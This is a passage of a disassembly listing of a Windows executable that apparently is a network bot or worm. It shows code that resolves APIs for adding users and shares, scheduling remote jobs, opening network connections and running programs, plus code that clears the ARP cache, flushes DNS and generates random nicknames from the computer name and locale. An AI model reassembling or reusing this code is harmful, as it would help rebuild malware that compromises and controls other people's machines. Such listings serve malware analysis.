		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4C9780, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4C97D4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4C97A0, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4C9714, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4C970C, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4C971C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C974C, ebx
		mov	ecx, dword_4C97A0
		mov	dword_4C9830, eax
		jz	short loc_40955E
		cmp	dword_4C96D8, ebx
		jz	short loc_40955E
		cmp	dword_4C97CC, ebx
		jz	short loc_40955E
		cmp	dword_4C9780, ebx
		jz	short loc_40955E
		cmp	dword_4C97D4, ebx
		jz	short loc_40955E
		cmp	ecx, ebx
		jz	short loc_40955E
		cmp	dword_4C9714, ebx
		jz	short loc_40955E
		cmp	dword_4C970C, ebx
		jz	short loc_40955E
		cmp	dword_4C971C, ebx
		jz	short loc_40955E
		cmp	eax, ebx
		jnz	short loc_409568


loc_40955E:				; CODE XREF: sub_408CF8+824j
					; sub_408CF8+82Cj ...
		mov	dword_4C98E4, 1


loc_409568:				; CODE XREF: sub_408CF8+864j
		cmp	ecx, ebx
		jz	short loc_40959D
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4C97B4, eax
		jnz	short loc_40959D
		jmp	short loc_409597
; ---------------------------------------------------------------------------


loc_409582:				; CODE XREF: sub_408CF8+790j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98E8, eax
		mov	dword_4C98E4, 1


loc_409597:				; CODE XREF: sub_408CF8+888j
		mov	dword_4C97B4, ebx


loc_40959D:				; CODE XREF: sub_408CF8+872j
					; sub_408CF8+886j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4095E7
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4C9790, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4C98B4, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9790, ebx
		mov	dword_4C9728, eax
		jz	short loc_4095F2
		cmp	dword_4C98B4, ebx
		jz	short loc_4095F2
		cmp	eax, ebx
		jnz	short loc_4095FC
		jmp	short loc_4095F2
; ---------------------------------------------------------------------------


loc_4095E7:				; CODE XREF: sub_408CF8+8B0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98F0, eax


loc_4095F2:				; CODE XREF: sub_408CF8+8DFj
					; sub_408CF8+8E7j ...
		mov	dword_4C98EC, 1


loc_4095FC:				; CODE XREF: sub_408CF8+8EBj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409703
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4C9704, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4C96E0, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4C9754, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4C9784, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4C988C, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4C973C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4C96E8, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4C96DC, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4C976C, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4C9854, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4C9810, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9704, ebx
		mov	dword_4C9744, eax
		jz	short loc_40970E
		cmp	dword_4C96E0, ebx
		jz	short loc_40970E
		cmp	dword_4C9754, ebx
		jz	short loc_40970E
		cmp	dword_4C9784, ebx
		jz	short loc_40970E
		cmp	dword_4C988C, ebx
		jz	short loc_40970E
		cmp	dword_4C973C, ebx
		jz	short loc_40970E
		cmp	dword_4C96E8, ebx
		jz	short loc_40970E
		cmp	dword_4C96DC, ebx
		jz	short loc_40970E
		cmp	dword_4C976C, ebx
		jz	short loc_40970E
		cmp	dword_4C9854, ebx
		jz	short loc_40970E
		cmp	dword_4C9810, ebx
		jnz	short loc_409718
		jmp	short loc_40970E
; ---------------------------------------------------------------------------


loc_409703:				; CODE XREF: sub_408CF8+90Fj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C98F8, eax


loc_40970E:				; CODE XREF: sub_408CF8+9B7j
					; sub_408CF8+9BFj ...
		mov	dword_4C98F4, 1


loc_409718:				; CODE XREF: sub_408CF8+A07j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40974D
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4C972C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C972C, ebx
		mov	dword_4C97F8, eax
		jz	short loc_409758
		cmp	eax, ebx
		jnz	short loc_409762
		jmp	short loc_409758
; ---------------------------------------------------------------------------


loc_40974D:				; CODE XREF: sub_408CF8+A2Bj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9900, eax


loc_409758:				; CODE XREF: sub_408CF8+A4Dj
					; sub_408CF8+A53j
		mov	dword_4C98FC, 1


loc_409762:				; CODE XREF: sub_408CF8+A51j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409797
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4C9878, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9878, ebx
		mov	dword_4C9874, eax
		jz	short loc_4097A2
		cmp	eax, ebx
		jnz	short loc_4097AC
		jmp	short loc_4097A2
; ---------------------------------------------------------------------------


loc_409797:				; CODE XREF: sub_408CF8+A75j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9908, eax


loc_4097A2:				; CODE XREF: sub_408CF8+A97j
					; sub_408CF8+A9Dj
		mov	dword_4C9904, 1


loc_4097AC:				; CODE XREF: sub_408CF8+A9Bj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40980B
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4C98A4, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4C989C, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4C9864, eax
		call	esi	; GetProcAddress
		cmp	dword_4C98A4, ebx
		mov	dword_4C9748, eax
		jz	short loc_409816
		cmp	dword_4C989C, ebx
		jz	short loc_409816
		cmp	dword_4C9864, ebx
		jz	short loc_409816
		cmp	eax, ebx
		jnz	short loc_409820
		jmp	short loc_409816
; ---------------------------------------------------------------------------


loc_40980B:				; CODE XREF: sub_408CF8+ABFj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9910, eax


loc_409816:				; CODE XREF: sub_408CF8+AFBj
					; sub_408CF8+B03j ...
		mov	dword_4C990C, 1


loc_409820:				; CODE XREF: sub_408CF8+B0Fj
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_409855
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4C9778, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9778, ebx
		mov	dword_4C9870, eax
		jz	short loc_409860
		cmp	eax, ebx
		jnz	short loc_40986A
		jmp	short loc_409860
; ---------------------------------------------------------------------------


loc_409855:				; CODE XREF: sub_408CF8+B33j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9918, eax


loc_409860:				; CODE XREF: sub_408CF8+B55j
					; sub_408CF8+B5Bj
		mov	dword_4C9914, 1


loc_40986A:				; CODE XREF: sub_408CF8+B59j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4098F3
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4C9838, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4C9884, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4C97C8, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4C9788, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4C981C, eax
		call	esi	; GetProcAddress
		cmp	dword_4C9838, ebx
		mov	dword_4C9794, eax
		jz	short loc_4098FE
		cmp	dword_4C9884, ebx
		jz	short loc_4098FE
		cmp	dword_4C97C8, ebx
		jz	short loc_4098FE
		cmp	dword_4C9788, ebx
		jz	short loc_4098FE
		cmp	dword_4C981C, ebx
		jz	short loc_4098FE
		cmp	eax, ebx
		jnz	short loc_409908
		jmp	short loc_4098FE
; ---------------------------------------------------------------------------


loc_4098F3:				; CODE XREF: sub_408CF8+B7Dj
		call	dword_42308C	; RtlGetLastWin32Error
		mov	dword_4C9920, eax


loc_4098FE:				; CODE XREF: sub_408CF8+BD3j
					; sub_408CF8+BDBj ...
		mov	dword_4C991C, 1


loc_409908:				; CODE XREF: sub_408CF8+BF7j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408CF8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409910	proc near		; CODE XREF: sub_401AC7+2086p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4C98BC, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_409958
		push	dword_4C98C0
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409958:				; CODE XREF: sub_409910+1Aj
		cmp	dword_4C98C4, esi
		jz	short loc_40998C
		push	dword_4C98C8
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_40998C:				; CODE XREF: sub_409910+4Ej
		cmp	dword_4C98CC, esi
		jz	short loc_4099C0
		push	dword_4C98D0
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_4099C0:				; CODE XREF: sub_409910+82j
		cmp	dword_4C98D4, esi
		jz	short loc_4099F4
		push	dword_4C98D8
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_4099F4:				; CODE XREF: sub_409910+B6j
		cmp	dword_4C98DC, esi
		jz	short loc_409A28
		push	dword_4C98E0
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A28:				; CODE XREF: sub_409910+EAj
		cmp	dword_4C98E4, esi
		jz	short loc_409A5C
		push	dword_4C98E8
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A5C:				; CODE XREF: sub_409910+11Ej
		cmp	dword_4C98EC, esi
		jz	short loc_409A90
		push	dword_4C98F0
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409A90:				; CODE XREF: sub_409910+152j
		cmp	dword_4C98F4, esi
		jz	short loc_409AC4
		push	dword_4C98F8
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409AC4:				; CODE XREF: sub_409910+186j
		cmp	dword_4C98FC, esi
		jz	short loc_409AF8
		push	dword_4C9900
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409AF8:				; CODE XREF: sub_409910+1BAj
		cmp	dword_4C9904, esi
		jz	short loc_409B2C
		push	dword_4C9908
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B2C:				; CODE XREF: sub_409910+1EEj
		cmp	dword_4C990C, esi
		jz	short loc_409B60
		push	dword_4C9910
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B60:				; CODE XREF: sub_409910+222j
		cmp	dword_4C9914, esi
		jz	short loc_409B94
		push	dword_4C9918
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409B94:				; CODE XREF: sub_409910+256j
		cmp	dword_4C991C, esi
		jz	short loc_409BC8
		push	dword_4C9920
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_417D96
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 20h


loc_409BC8:				; CODE XREF: sub_409910+28Aj
		lea	eax, [ebp+var_200]
		push	offset unk_42F7C0
		push	eax
		call	sub_417D96
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_409BF5
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_408C5D
		add	esp, 14h


loc_409BF5:				; CODE XREF: sub_409910+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413B5E
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_409910	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C07	proc near		; CODE XREF: sub_4017E7+4Fp
					; sub_401AC7+53CAp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4C983C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_409C2F
		push	[esp+arg_0]
		call	dword_4C9880	; gethostbyname
		test	eax, eax
		jnz	short loc_409C28
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_409C28:				; CODE XREF: sub_409C07+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_409C2F:				; CODE XREF: sub_409C07+Dj
		retn
sub_409C07	endp


; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_4017E7+D6p
		mov	ecx, dword_4C972C
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_409C3E
		call	ecx	; DnsFlushResolverCache

locret_409C3E:				; CODE XREF: sub_409C30+Aj
		retn
sub_409C30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C3F	proc near		; CODE XREF: sub_401AC7:loc_403A93p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4C9878	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_409D05
		sub	ecx, 32h
		jz	loc_409CFE
		sub	ecx, 48h
		jz	short loc_409C9F
		sub	ecx, 6Eh
		jz	short loc_409C98


loc_409C81:				; CODE XREF: sub_409C3F+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42F9B8
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	short loc_409CDF
; ---------------------------------------------------------------------------


loc_409C98:				; CODE XREF: sub_409C3F+40j
		push	offset unk_42F994
		jmp	short loc_409CD1
; ---------------------------------------------------------------------------


loc_409C9F:				; CODE XREF: sub_409C3F+3Bj
		push	[ebp+var_8]
		call	sub_417A2B
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_417AA0
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_409CCC
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4C9878	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_409D05
		jmp	short loc_409C81
; ---------------------------------------------------------------------------


loc_409CCC:				; CODE XREF: sub_409C3F+79j
		push	offset unk_42F964


loc_409CD1:				; CODE XREF: sub_409C3F+5Ej
					; sub_409C3F+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx


loc_409CDF:				; CODE XREF: sub_409C3F+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_413B5E
		pop	ecx


loc_409CEF:				; CODE XREF: sub_409C3F+C8j
					; sub_409C3F+DCj
		push	esi
		call	sub_4177C1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_409CFE:				; CODE XREF: sub_409C3F+32j
		push	offset unk_42F934
		jmp	short loc_409CD1
; ---------------------------------------------------------------------------


loc_409D05:				; CODE XREF: sub_409C3F+29j
					; sub_409C3F+89j
		cmp	[esi], edi
		jbe	short loc_409CEF
		lea	ebx, [esi+4]


loc_409D0C:				; CODE XREF: sub_409C3F+DAj
		push	ebx
		call	dword_4C9874	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_409D0C
		jmp	short loc_409CEF
sub_409C3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409D1D	proc near		; CODE XREF: sub_401AC7+1D9Ap
					; sub_401AC7+1EE8p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_417AA0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4C97A8	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4C992C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_417D96
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_409D1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_409D76	proc near		; CODE XREF: sub_4114BF+24Cp
					; sub_4114BF+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_409D9F
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_409D92:				; CODE XREF: sub_409D76+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_409D92
		pop	edi
		jmp	short loc_409DA3
; ---------------------------------------------------------------------------


loc_409D9F:				; CODE XREF: sub_409D76+Aj
		mov	edx, [esp+4+arg_0]


loc_409DA3:				; CODE XREF: sub_409D76+27j
		test	esi, esi
		pop	esi
		jz	short loc_409DAD
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_409DAD:				; CODE XREF: sub_409D76+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_409D76	endp


; =============== S U B	R O U T	I N E =======================================



sub_409DC3	proc near		; CODE XREF: sub_40A19A+49p
					; DATA XREF: .nsp0:off_42FA00o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		call	sub_417DF2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+0Ch+arg_0]
		push	off_42FA68[edx*4]
		push	offset dword_42E264
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 14h
		cmp	dword_425094, esi
		jle	short loc_409E2A


loc_409E04:				; CODE XREF: sub_409DC3+65j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCC4
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425094
		jl	short loc_409E04


loc_409E2A:				; CODE XREF: sub_409DC3+3Fj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_409DC3	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	dword_425114
		push	offset dword_42E264
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425094, esi
		jle	short loc_409E88


loc_409E62:				; CODE XREF: .nsp0:00409E86j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCC4
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425094
		jl	short loc_409E62


loc_409E88:				; CODE XREF: .nsp0:00409E60j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_409E8D	proc near		; CODE XREF: sub_401AC7+5FDEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		call	sub_417DF2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_425094
		test	esi, esi
		jle	short loc_409ED0


loc_409EBA:				; CODE XREF: sub_409E8D+41j
		call	sub_417DF2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_409EBA


loc_409ED0:				; CODE XREF: sub_409E8D+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_409E8D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_4336C0
		push	eax
		push	esi
		call	dword_4230C0	; GetComputerNameA
		movsx	eax, byte_4336C0
		push	41h
		pop	ecx
		push	1
		pop	edx


loc_409F16:				; CODE XREF: .nsp0:00409F21j
		cmp	eax, ecx
		jnz	short loc_409F1D
		mov	[ebp-4], edx


loc_409F1D:				; CODE XREF: .nsp0:00409F18j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_409F16
		push	61h
		pop	ecx


loc_409F26:				; CODE XREF: .nsp0:00409F31j
		cmp	eax, ecx
		jnz	short loc_409F2D
		mov	[ebp-4], edx


loc_409F2D:				; CODE XREF: .nsp0:00409F28j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_409F26
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_425094, esi
		jle	short loc_409F72


loc_409F4C:				; CODE XREF: .nsp0:00409F70j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCC4
		push	1Ch
		push	edi
		call	sub_417E90
		add	esp, 14h
		inc	esi
		cmp	esi, dword_425094
		jl	short loc_409F4C


loc_409F72:				; CODE XREF: .nsp0:00409F4Aj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	dword_4230A8	; GetTickCount
		push	eax
		call	sub_417DE8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		call	dword_4230C4	; GetLocaleInfoA
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_4336C4
		push	1Ch
		push	edi
		call	sub_417E90
		xor	esi, esi
		add	esp, 10h
		cmp	dword_425094, esi
		jle	short loc_409FE7


loc_409FC1:				; CODE XREF: .nsp0:00409FE5j
		call	sub_417DF2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42DCC4
		push	1Ch
		push	edi
		call	sub_417E90
